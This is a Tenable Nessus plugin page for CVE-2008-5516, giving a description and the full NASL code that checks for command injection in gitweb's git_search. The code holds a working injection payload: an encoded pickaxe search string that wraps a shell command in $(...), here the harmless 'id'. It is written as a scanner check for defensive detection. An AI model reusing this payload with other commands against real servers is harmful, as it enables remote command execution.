Lucene search

K
nessusThis script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.GITWEB_GIT_SEARCH_CMD_EXEC.NASL
HistoryApr 08, 2011 - 12:00 a.m.

GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution

2011-04-0800:00:00
This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
10

The version of gitweb, a web-enabled interface to the open source distributed version control system Git, hosted on the remote web server fails to sanitize user-supplied input to the ‘gitweb.cgi’ script of shell metacharacters before passing it to a shell.

An unauthenticated, remote attacker can leverage this issue to execute arbitrary commands subject to the privileges under which the web server operates.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(53336);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2008-5516");
  script_bugtraq_id(33355);
  script_xref(name:"SECUNIA", value:"33607");

  script_name(english:"GIT gitweb git_search Shell Metacharacter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that can be abused to
execute arbitrary commands.");
  script_set_attribute(attribute:"description", value:
"The version of gitweb, a web-enabled interface to the open source
distributed version control system Git, hosted on the remote web
server fails to sanitize user-supplied input to the 'gitweb.cgi'
script of shell metacharacters before passing it to a shell.

An unauthenticated, remote attacker can leverage this issue to execute
arbitrary commands subject to the privileges under which the web
server operates.");
  # https://repo.or.cz/w/git.git?a=commitdiff;h=c582abae46725504cee9ff91816c979989632f07
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f84acd89");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.5.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(78, 264);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/01/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2008/03/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/04/08");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:git:git");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");
include("url_func.inc");
include("webapp_func.inc");
include("data_protection.inc");

global_var cgi, port;

function exploit(cmd, regex, repo)
{
  local_var matches, pattern, res, search, sha_commit, sha_file;
  local_var sha_null, url;

  # Get SHA-1 of HEAD.
  url = cgi + "?p=" + repo;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<a href="[^"]+\\?p=' + repo + ';a=commit;h=([a-z0-9]{40})">commit</a>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) return NULL;
  sha_commit = matches[1];

  # Get SHA-1 of any file.
  url = cgi + "?p=" + repo + ";a=tree;hb=" + sha_commit;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<a href="[^"]+\\?p=' + repo + ';a=blob;f=[^;]+;h=([a-z0-9]{40});hb=' + sha_commit + '">blob</a>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) return NULL;
  sha_file = matches[1];

  # Exploit.
  sha_null = '0000000000000000000000000000000000000000';
  search = "%27%27 | ";
  search += 'printf %22' + sha_commit + '\\n';
  search += '%3A000000 100644 ' + sha_null + ' ' + sha_file + ' A\\t%24%28' + cmd + '%29\\n';
  search += sha_null + '\\n%22%3B ';
  search += 'echo ' + SCRIPT_NAME + ' \\';

  search = str_replace(string:search, find:" ", replace:"+");

  url = cgi + "?p=" + repo + "&a=search&h=HEAD&st=pickaxe&s=" + search;
  res = http_send_recv3(
    port         : port,
    method       : "GET",
    item         : url,
    exit_on_fail : TRUE
  );

  pattern = '<span class="match">(' + regex + ')</span>';
  matches = eregmatch(string:res[2], pattern:pattern);
  if ( isnull(matches) ) exit(0, "The gitweb instance at " + build_url(port:port, qs:cgi) + " appears to be unaffected.");

  return make_list(url, matches[1]);
}

port = get_http_port(default:80);

# Loop through directories.
if ( thorough_tests ) dirs = list_uniq(make_list("/gitweb", "/cgi-bin/gitweb", "/git", "/code", cgi_dirs()));
else dirs = make_list(cgi_dirs());

# Find the gitweb CGI.
found = FALSE;
foreach dir ( dirs )
{
  foreach ext ( make_list("cgi", "pl", "perl") )
  {
    url = dir + "/gitweb." + ext;
    res = http_send_recv3(
      port         : port,
      method       : "GET",
      item         : url,
      exit_on_fail : TRUE
    );

    if (
      '<!-- git web interface version' >!< res[2] &&
      'meta name="generator" content="gitweb' >!< res[2]
    ) continue;

    cgi = url;
    found = TRUE;
    break;
  }

  if ( found ) break;
}
if ( ! found ) exit(0, "The web server on port " + port + " does not appear to host gitweb.");

# Scrape repository names from page.
pattern = "\?p=([^;]+);a=";
lines = egrep(string:res[2], pattern:pattern);
if ( isnull(lines) ) exit(1, "Failed to find any repositories at " + build_url(port:port, qs:cgi) + ".");

# Make a list of repositories.
repos = make_list();
foreach line ( split(lines) )
{
  matches = eregmatch(string:line, pattern:pattern);
  if ( isnull(matches) ) continue;

  repos = make_list(repos, matches[1]);
}
if ( max_index(repos) == 0 ) exit(1, "Failed to parse repositories at " + build_url(port:port, qs:cgi) + ".");

# Try to exploit each repo.
cmd = "id";
regex = "uid=[0-9]+.*gid=[0-9]+.*";
result = NULL;
foreach repo ( list_uniq(repos) )
{
  result = exploit(cmd:cmd, regex:regex, repo:repo);
  if ( ! isnull(result) ) break;
}
if ( isnull(result) ) exit(0, "The gitweb instance at " + build_url(port:port, qs:cgi) + " appears to be unaffected.");

# Report our findings.
if ( report_verbosity > 0 )
{
  trailer = "";
  if ( report_verbosity > 1 )
  {
    trailer =
      '\n' +
      'The above URL caused gitweb to execute the command \'' + cmd + '\'\n' +
      'resulting in the following output :\n' +
      '\n  ' + data_protection::sanitize_uid(output:result[1]) + '\n';
  }

  report = get_vuln_report(trailer:trailer, items:result[0], port:port);

  security_hole(port:port, extra:report);
}
else security_hole(port);
VendorProductVersionCPE
gitgitcpe:/a:git:git